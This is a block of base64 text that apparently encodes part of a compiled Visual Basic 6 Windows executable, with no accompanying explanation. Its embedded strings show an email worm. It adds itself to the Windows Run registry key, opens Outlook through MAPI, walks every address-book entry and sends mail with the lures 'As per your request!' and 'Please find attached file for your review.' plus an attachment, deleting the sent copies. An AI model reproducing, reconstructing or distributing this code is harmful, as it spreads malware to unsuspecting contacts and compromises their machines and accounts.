AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwA QwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AXABtAGEAYwByAG8AcwBvAGYAdAAA AAAAUgBlAGcAVwByAGkAdABlAAAAAAAmAAAATwB1AHQAbABvAG8AawAuAEEAcABwAGwAaQBjAGEA dABpAG8AbgAAAAgAAABNAEEAUABJAAAAAABHAGUAdABOAGEAbQBlAFMAcABhAGMAZQAAAAAAQQBk AGQAcgBlAHMAcwBMAGkAcwB0AHMAAAAAAEEAZABkAHIAZQBzAHMARQBuAHQAcgBpAGUAcwAAAAAA QwBvAHUAbgB0AAAADgAAAHAAcgBvAGYAaQBsAGUAAAAQAAAAcABhAHMAcwB3AG8AcgBkAAAAAABM AG8AZwBvAG4AAABDAHIAZQBhAHQAZQBJAHQAZQBtAAAAAABBAGQAZAByAGUAcwBzAAAAVABvAAAA AAAoAAAAQQBzACAAcABlAHIAIAB5AG8AdQByACAAcgBlAHEAdQBlAHMAdAAhAAAAAABTAHUAYgBq AGUAYwB0AAAAVAAAAFAAbABlAGEAcwBlACAAZgBpAG4AZAAgAGEAdAB0AGEAYwBoAGUAZAAgAGYA aQBsAGUAIABmAG8AcgAgAHkAbwB1AHIAIAByAGUAdgBpAGUAdwAuAAAAAAAEAAAADQAKAAAAAAB4 AAAASQAgAGwAbwBvAGsAIABmAG8AcgB3AGEAcgBkACAAdABvACAAaABlAGEAcgAgAGYAcgBvAG0A IAB5AG8AdQAgAGEAZwBhAGkAbgAgAHYAZQByAHkAIABzAG8AbwBuAC4AIAAgAFQAaABhAG4AawAg AHkAbwB1AC4AAAAAAEIAbwBkAHkAAAAAAEEAdAB0AGEAYwBoAG0AZQBuAHQAcwAAAEEAZABkAAAA RABlAGwAZQB0AGUAQQBmAHQAZQByAFMAdQBiAG0AaQB0AAAAAAAAAAAAAABTAGUAbgBkAAAAAABW QkE2LkRMTAAAAABfX3ZiYUFyeVVubG9jawAAX192YmFWYXJGb3JOZXh0AF9fdmJhRnJlZVN0cgAA AABfX3ZiYVZhckxhdGVNZW1TdAAAAF9fdmJhVmFyRm9ySW5pdABfX3ZiYVZhckxhdGVNZW1DYWxs TGRSZgBfX3ZiYVZhclRzdE5lAAAAX192YmFGb3JFYWNoVmFyAF9fdmJhVmFyWmVybwAAAABfX3Zi YU5leHRFYWNoVmFyAAAAAF9fdmJhVmFyQ21wRXEAAABfX3ZiYVZhck9yAABfX3ZiYUJvb2xWYXJO dWxsAAAAAF9fdmJhRnJlZU9iakxpc3QAAAAAX192YmFGcmVlU3RyTGlzdAAAAABfX3ZiYU9ialZh cgBfX3ZiYU5ldzIAAABkG0AA1EJAAF9fdmJhU3RyTW92ZQAAAABfX3ZiYVN0ckNhdABfX3ZiYUxh dGVNZW1DYWxsAAAAAF9fdmJhRnJlZVZhcgAAAABfX3ZiYVZhckxhdGVNZW1DYWxsTGQAAABfX3Zi YVZhclRzdEVxAAAAX192YmFWYXJDYXQAX192YmFWYXJTZXRWYXIAAF9fdmJhVmFyQWRkAF9fdmJh VmFyTW92ZQAAAABfX3ZiYUVuZAAAAABfX3ZiYUZyZWVWYXJMaXN0AAAAAF9fdmJhVmFyRHVwAF9f dmJhSHJlc3VsdENoZWNrT2JqAAAAAMghQAAAAAAAAAAAAAAAAAC8GEAA/////wAAAAB8IUAAAAAA AAAAAAAAAAAA/////wAAAAAIGkAApBlAANhCQAAIGkAAMBpAANxCQAAAAAAAnBRAAP////8AAAAA AAAAAAAAAACAIUAAAAAAAHwhQAB8IUAAfCFAAAAAAAAAAAAAAAAAAEQAAAAEAAAAzMzMzMzMzMzp 6enpzMzMzMzMzMzMzMzMVYvsg+wMaCYRQABkoQAAAABQZIklAAAAAIHsjAAAAFNWV4ll9MdF+AAR QACLdQiLxoPgAYlF/IPm/laJdQiLDv9RBIsWM/9WiX3ciX3MiX28iX2siX2ciX2M/5L8BgAAO8d9 Emj8BgAAaJQZQABWUP8VLBBAAIs10BBAALkEAAKAiU20uAoAAACJTcS7CAAAAI1VjI1NzIlFrIlF vMdFlKQaQACJXYz/1o1VnI1N3MdFpFwaQACJXZz/1o1FrI1NvFCNVcxRUo1F3GoQUP8VPBBAAI1N rI1VvFGNRcxSjU3cUFFqBP8VEBBAAIPEFP8VFBBAAIl9/Gg7I0AA6xyNVayNRbxSjU3MUI1V3FFS agT/FRAQQACDxBTDw4tFCFCLCP9RCItF/ItN7F9eZIkNAAAAAFuL5V3CBACQkJCQkJBVi+yD7Axo JhFAAGShAAAAAFBkiSUAAAAAgewcAgAAU1ZXiWX0x0X4EBFAAItFCIvIg+EBiU38JP5QiUUIixD/ UgSNhSz///+NjbT+//8z/1CNlQT///9Rib20/v//Uol93Il9zIl9vIl9rIl9nIl9jIm9fP///4m9 bP///4m9XP///4m9TP///4m9PP///4m9LP///4m9KP///4m9JP///4m9IP///4m9HP///4m9GP// /4m9FP///4m9BP///4m99P7//4m95P7//4m91P7//4m9xP7//4m9pP7//4m9lP7//4m9hP7//4m9 dP7//4m9QP7//4m9PP7//4m9LP7//4m9HP7//4m9DP7//4m9/P3//4m9+P3//4m99P3//4m98P3/ /4m97P3//4m96P3//4m95P3//8eFvP7//wEAAADHhbT+//8CAAAA/xXIEEAAizUIEEAAi9CNjSz/ ////1leNhQT///9o5BpAAFD/FYwQQACNjQT///+NlWz///9RUv8VwBBAALsIAAAAx4W8/v//IBtA AImdtP7//42VtP7//42NBP////8V0BBAAI2FBP///42N9P7//1BR/xU0EEAAjZX0/v//jYWk/v// Uo2N5P7//1BRx4Ws/v//NBtAAImdpP7///8VlBBAAIvQjU28/9aNlfT+//+NhQT///9SUGoC/xUQ EEAAuQxAAACNRbxRiY20/v//i9SLNdQQQACJhbz+//9qAYkKi424/v//aEwbQACJvaz+//+JSgSN jWz///9Rx4Wk/v//C4AAAIlCCIuFwP7//4lCDI2VBP///1L/1oPEIFCNhaT+//9Q/xVgEEAAix0M EEAAjY0E////iYVg/v///9NmOb1g/v//D4Q3AgAAOT3UQkAAdRBo1EJAAGiEG0AA/xWcEEAAodRC QACNlRj///9SUIsIiYVg/v///1EUO8fb4n0Vi41g/v//ahRodBtAAFFQ/xUsEEAAi4UY////jY0o ////UVCLEImFWP7///9SUDvH2+J9FYuVWP7//2pQaJQbQABSUP8VLBBAADk91EJAAHUQaNRCQABo hBtAAP8VnBBAAKHUQkAAjZUU////UlCLCImFUP7///9RFDvH2+J9FYuNUP7//2oUaHQbQABRUP8V LBBAAIuFFP///42NJP///1FQixCJhUj+////Ulg7x9vifRWLlUj+//9qWGiUG0AAUlD/FSwQQACL hSj///9QaKgbQAD/FSgQQACL0I2NIP////8V3BBAAIuNJP///1BR/xUoEEAAi9CNjRz/////FdwQ QABQaLAbQAD/FSgQQACNVbyD7BCJlaz+//+L1LkIAAAAiYUM////iY0E////iQqLjQj///+D7BCJ SgTHhaT+//8MQAAAi8yD7BCJQgiLhRD///+JQgyLlaT+//+Lhaj+//+JEYuVrP7//4lBBIuFsP7/ /4lRCIuVmP7//4lBDIvMuAIAAABqA4kBuAEAAABovBtAAIlRBIlBCIuFoP7//4lBDI2NbP///1H/ FWQQQABQ/xXMEEAAjZUc////jYUk////Uo2NIP///1CNlSj///9RUmoE/xWsEEAAg8RQjYUU//// jY0Y////UFFqAv8VIBBAAIPEDI2NBP/////TV42VbP///2jQG0AAjYUE////UlD/1oPEEI1NzFBR /xXAEEAAjVXMjYV8////Uo2NQP7//1CNlfD9//9RjYXs/f//Uo2N+P3//1BR/xXgEEAAO8cPhGQC AABXjZV8////aOAbQACNhQT///9SUMeFvP7//wEAAADHhbT+//8CgAAAx4Ws/v//AwAAAMeFpP7/ /wIAAAD/1oPEEI2NtP7//42V9P7//1BRUv8VxBBAAFCNhaT+//+NjeT+//9QUf8VaBBAAFD/FUwQ QACNjQT///+JhWD+////02Y5vWD+//8PhKkBAABXjZV8////aOAbQACNhQT///9SUMeFvP7//wQA AADHhbT+//8CgAAA/9aDxBCNjbT+//9QUf8VYBBAAI2NBP///4mFYP7////TZjm9YP7//w+FgQEA AFeNlXz///9o9BtAAI2FBP///1JQx4W8/v///////8eFtP7//wuAAAD/1oPEEI2NtP7//1BR/xVg EEAAjY0E////iYVg/v///9NmOb1g/v//D4T9AAAAg+wQuQxAAACL1ImNpP7//41FvFeJCouNqP7/ /4mFrP7//2gEHEAAiUoEjY18////UceFvP7//yAcQACJQgiLhbD+///HhbT+//8IAAAAx4WM/v// /////4lCDI2VBP///1LHhYT+//8LAAAA/9aDxBCNjfT+//9QjYW0/v//UFH/FZQQQACLCIPsEIvU g+wQiQqLSASJSgSLSAiLQAyJSgiLzGoDiUIMi5WE/v//i4WI/v//iRGLlYz+//9ovBtAAIlBBIuF kP7//4lRCIlBDI2NbP///1H/FWQQQABQ/xXMEEAAjZX0/v//jYUE////UlBqAv8VEBBAAIPESI2N fP///42VQP7//1GNhfD9//9SjY3s/f//UI2V+P3//1FS/xUcEEAA6ZT9//+NlbT+//+NjQT////H hbz+//8sHEAAx4W0/v//CAAAAP8V0BBAAI2FBP///42N9P7//1BR/xU0EEAAjZX0/v//jYWk/v// Uo2N5P7//1BRx4Ws/v//NBtAAMeFpP7//wgAAACJvYz+///HhYT+//8LgAAA/xWUEEAAiwiD7BCL 1GoBaEwbQACJCotIBIlKBItICItADIlKCI2NbP///4lCDI2V1P7//1FS/9aDxCBQjYWE/v//UP8V YBBAAI2N1P7//4mFYP7//42V5P7//1GNhfT+//9SjY0E////UFFqBP8VEBBAAIPEFGY5vWD+//8P hKQCAAA5PdRCQAB1EGjUQkAAaIQbQAD/FZwQQACh1EJAAI2NGP///1FQixCJhWD+////UhQ7x9vi fRWLlWD+//9qFGh0G0AAUlD/FSwQQACLhRj///+NlSj///9SUIsIiYVY/v///1FQO8fb4n0Vi41Y /v//alBolBtAAFFQ/xUsEEAAOT3UQkAAdRBo1EJAAGiEG0AA/xWcEEAAodRCQACNjRT///9RUIsQ iYVQ/v///1IUO8fb4n0Vi5VQ/v//ahRodBtAAFJQ/xUsEEAAi4UU////jZUk////UlCLCImFSP7/ //9RWDvH2+J9FYuNSP7//2pYaJQbQABRUP8VLBBAAIuVKP///1JoqBtAAP8VKBBAAIvQjY0g//// /xXcEEAAUIuFJP///1D/FSgQQACL0I2NHP////8V3BBAAFBosBtAAP8VKBBAAImF3P7//7gIAAAA jZW0/v//jY0E////iYXU/v//x4W8/v//LBxAAImFtP7///8V0BBAAI2NBP///42V9P7//1FS/xU0 EEAAi43U/v//i5XY/v//g+wQx4Ws/v//NBtAAIvEx4Wk/v//CAAAAIkIi43c/v//iVAEi5Xg/v// iUgIjY2k/v//iVAMjYX0/v//UI2V5P7//1FS/xWUEEAAixCD7BCLzIPsEIkRi1AEiVEEi1AIi0AM iVEIi5V4/v//iUEMi8y4AgAAAGoDiQG4AQAAAGi8G0AAiVEEiUEIi4WA/v//iUEMjY1s////Uf8V ZBBAAFD/FcwQQACNlRz///+NhST///9SUI2NIP///42VKP///1FSagT/FawQQACDxFCNhRT///+N jRj///9QUWoC/xUgEEAAjZXk/v//jYXU/v//Uo2N9P7//1CNlQT///9RUmoE/xUQEEAAg8Qg/xVI EEAAV42FBP///2iEGkAAUP8VjBBAAI2NBP///41VrFFS/xXAEEAAjZW0/v//jY0E////x4W8/v// LBxAAMeFtP7//wgAAAD/FdAQQACNhQT///+NjfT+//9QUf8VNBBAAIPsELgIAAAAi9SLjaD+///H haz+//80G0AAx4Wk/v//CAAAAIkCi4WY/v//iUIEuEAcQACJQgiNhaT+//+JSgyNlfT+//9SjY3k /v//UFH/FZQQQACLCIPsEIvUagJovBxAAIkKi0gEiUoEi0gIi0AMiUoIjU2sUYlCDP8VZBBAAFD/ FcwQQACNleT+//+NhfT+//9SjY0E////UFFqA/8VEBBAAIPEPI2VBP///1do1BxAAFL/FYwQQACN hQT///+NTdxQUf8VwBBAALgAHUAAuQgAAACJhbz+//+JjbT+//+D7BCL1GoBaAwdQACJCouNuP7/ /4lKBI1N3FGJQgiLhcD+//+JQgyNlQT///9S/9aDxCBQjYVM////UP8VwBBAAFeNjUz///9oKB1A AI2VBP///1FS/9aDxBCL0I2NLP7///8VVBBAAI2FLP7//41NjFCNlTz+//9RjYXo/f//Uo2N5P3/ /1CNlfT9//9RUv8V4BBAAIs9bBBAADPJO8EPhDIFAABRaGQdQACJjbz+//9RjUWMaEQdQACNjQT/ //9QUceFtP7//wKAAAD/FaAQQACDxBCNlfT+//9QUv/Wg8QQUI2FtP7//1D/FbwQQACNjfT+//+N lQT///9RUmoCiYVg/v///xUQEEAAg8QMZoO9YP7//wAPhI8EAACD7BC5CAAAAIvUiY20/v//iY2U /v//uHQdQACJCouNuP7//4mFvP7//4PsEIlKBIvMagJonB1AAIlCCIuFwP7//4lCDIuVlP7//4uF mP7//4kRi5Wg/v//iUEEuIgdQACJQQiNhUz///9QiVEM/xVkEEAAUP8VzBBAAIPELI1NjI2VBP// /8eFvP7//wEAAABqAGhkHUAAagBoRB1AAFFSx4W0/v//AgAAAP8VoBBAAIPEEFCNhfT+//9Q/9aD xBCL0I2NHP7///8VCBBAAI2NtP7//42VHP7//1GNhaT+//9SjY38/f//UI2VDP7//1GNhTz///9S UMeFrP7//wEAAADHhaT+//8CAAAA/xU4EEAAjY0E////iYXQ/f///9OLhdD9//+FwA+EYQMAAIPs ELkMQAAAi9SJjbT+//+NhTz///9qAYkKi424/v//iYW8/v//aEQdQACJSgSNTYxRiUIIi4XA/v// iUIMjZUE////Uv/Wg8QgUI1FnFD/FcAQQACD7BC5AgAAAIvUiY20/v//M8BqAYkKi424/v//iYW8 /v//aKgdQACJSgSNTdxRiUIIi4XA/v//iUIMjZUE////Uv/Wg8QgUI2FXP///1D/FcAQQABqAI1N nGjAHUAAjZUE////UVL/1osQi8xo0B1AAIkRi1AEiVEEi1AIi0AMiVEIiUEMjY1c////Uf/XjY0E /////9OD7BC5CAAAAIvUiY20/v//uNwdQACJCouNuP7//4mFvP7//4lKBIlCCIuFwP7//42NXP// /2gIHkAAUYlCDP/XaBweQABoeB5AAP8VKBBAAIvQjY0o/////xXcEEAAUGiEHkAA/xUoEEAAg+wQ uQgAAACL1ImNBP///4mFDP///2gAH0AAiQqLjQj///+JSgSNjVz///9RiUIIi4UQ////iUIM/9eN jSj/////FfgQQACNjQT/////042VtP7//42NBP///8eFvP7//yAbQADHhbT+//8IAAAA/xXQEEAA jZUE////jYX0/v//UlD/FTQQQACNjfT+//+NlaT+//9RjYXk/v//UlDHhaz+//80G0AAx4Wk/v// CAAAAP8VlBBAAIsQg+wQi8xqAWgkH0AAiRGLUARqAGgMH0AAiVEEi1AIi0AMiVEIjZXE/v//iUEM jY1c////UVL/FaAQQACDxBBQ/xVkEEAAUP8VzBBAAI2FxP7//42N5P7//1BRjZX0/v//jYUE//// UlBqBP8VEBBAAIPEILkLAAAAi9SJjbT+//+DyP9oLB9AAIkKi424/v//iYW8/v//iUoEjY1c//// UYlCCIuFwP7//4lCDP/XagCNlVz///9o0B1AAI2FBP///1JQx4W8/v//VB9AAMeFtP7//wiAAAD/ 1oPEEI2NtP7//1BR/xW8EEAAjY0E////iYVg/v///9Nmg71g/v//AHQkagCNlVz///9oWB9AAFL/ FWQQQABQ/xXMEEAAg8QM/xVIEEAA/xVIEEAAjYX8/f//jY0M/v//UI2VPP///1FS/xXwEEAAiYXQ /f//6ZH8//+NRYyNjTz+//9QjZXo/f//UY2F5P3//1KNjfT9//9QUf8VHBBAAOnE+v//iU38aMA2 QADraY2VHP///42FIP///1KNjST///9QjZUo////UVJqBP8VrBBAAI2FFP///42NGP///1BRagL/ FSAQQACNlcT+//+NhdT+//9SjY3k/v//UI2V9P7//1GNhQT///9SUGoF/xUQEEAAg8Q4w4s17BBA AI2N+P3//1H/1o2V9P3//1L/1o2FPP7//42NQP7//1BRagL/FSAQQACNlfz9//+NhQz+//9SjY0c /v//UI2VLP7//1FSagT/FRAQQACLNQwQQACDxCCNTdz/1o1NzP/WjU28/9aNTaz/1o1NnP/WjU2M /9aNjXz/////1o2NbP/////WjY1c/////9aNjUz/////1o2NPP/////WjY0s/////9bDi0UIUIsI /1EIi0X8i03sX15kiQ0AAAAAW4vlXcIEAJCenp6eDDcAAP//////////DDgAAAAQAAAAAAAAAAAA AAAAAAAAAAAAAAAAABo4AAAkOAAAMjgAAEI4AABSOAAAZjgAAHI4AACCOAAAljgAAKo4AAC4OAAA xjgAAN44AACaAgCA7jgAAFMCAIAAOQAAEjkAAFYCAIAkOQAAODkAAEI5AABSOQAAYDkAAHQ5AACE OQAAkjkAAKA5AAC0OQAAwjkAANg5AADiOQAA/jkAABQ6AAAiOgAAzAIAgDQ6AABIOgAAVjoAAGA6 AABsOgAAhjoAAJg6AACqOgAAvjoAANA6AABkAACA3joAAO46AAAAOwAAEDsAAB47AAAyOwAAQDsA AFg7AABiOwAAcjsAAIQ7AACOOwAAmDsAAKo7AAC8OwAAxjsAAAAAAABNU1ZCVk02MC5ETEwAAAAA X0NJY29zAAAAAF9hZGpfZnB0YW4AAAAAX192YmFWYXJNb3ZlAAAAAF9fdmJhRnJlZVZhcgAAAABf X3ZiYUZyZWVWYXJMaXN0AAAAAF9fdmJhRW5kAAAAAF9hZGpfZmRpdl9tNjQAAABfX3ZiYU5leHRF YWNoVmFyAAAAAF9fdmJhRnJlZU9iakxpc3QAAAAAX2Fkal9mcHJlbTEAAABfX3ZiYVN0ckNhdAAA AF9fdmJhSHJlc3VsdENoZWNrT2JqAAAAAF9hZGpfZmRpdl9tMzIAAABfX3ZiYVZhckZvckluaXQA AABfYWRqX2ZkaXZfbTE2aQAAAABfYWRqX2ZkaXZyX20xNmkAAABfX3ZiYUJvb2xWYXJOdWxsAAAA AF9DSXNpbgAAAABfX3ZiYVZhclplcm8AAAAAX192YmFDaGtzdGsAAABFVkVOVF9TSU5LX0FkZFJl ZgAAAF9fdmJhVmFyVHN0RXEAAABfX3ZiYU9ialZhcgAAAF9fdmJhVmFyT3IAAAAAX192YmFWYXJM YXRlTWVtU3QAAABfYWRqX2ZwYXRhbgAAAEVWRU5UX1NJTktfUmVsZWFzZQAAAABfQ0lzcXJ0AAAA RVZFTlRfU0lOS19RdWVyeUludGVyZmFjZQAAAF9fdmJhRXhjZXB0SGFuZGxlcgAAAABfYWRqX2Zw cmVtAAAAAF9hZGpfZmRpdnJfbTY0AAAAAF9fdmJhRlBFeGNlcHRpb24AAAAAX192YmFWYXJDYXQA AABfQ0lsb2cAAAAAX192YmFOZXcyAAAAX192YmFWYXJMYXRlTWVtQ2FsbExkUmYAAABfYWRqX2Zk aXZfbTMyaQAAAABfYWRqX2ZkaXZyX20zMmkAAABfX3ZiYUZyZWVTdHJMaXN0AAAAAF9hZGpfZmRp dnJfbTMyAAAAAF9hZGpfZmRpdl9yAAAAX192YmFWYXJUc3ROZQAAAF9fdmJhVmFyU2V0VmFyAAAA AF9fdmJhVmFyQ21wRXEAAABfX3ZiYVZhckFkZAAAAF9fdmJhTGF0ZU1lbUNhbGwAAAAAX192YmFW YXJEdXAAAABfX3ZiYVZhckxhdGVNZW1DYWxsTGQAAABfQ0lhdGFuAAAAX192YmFTdHJNb3ZlAAAA AF9fdmJhRm9yRWFjaFZhcgAAAF9hbGxtdWwAAABfQ0l0YW4AAAAAX192YmFBcnlVbmxvY2sAAAAA X192YmFWYXJGb3JOZXh0AAAAX0NJZXhwAAAAAF9fdmJhRnJlZVN0cgAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 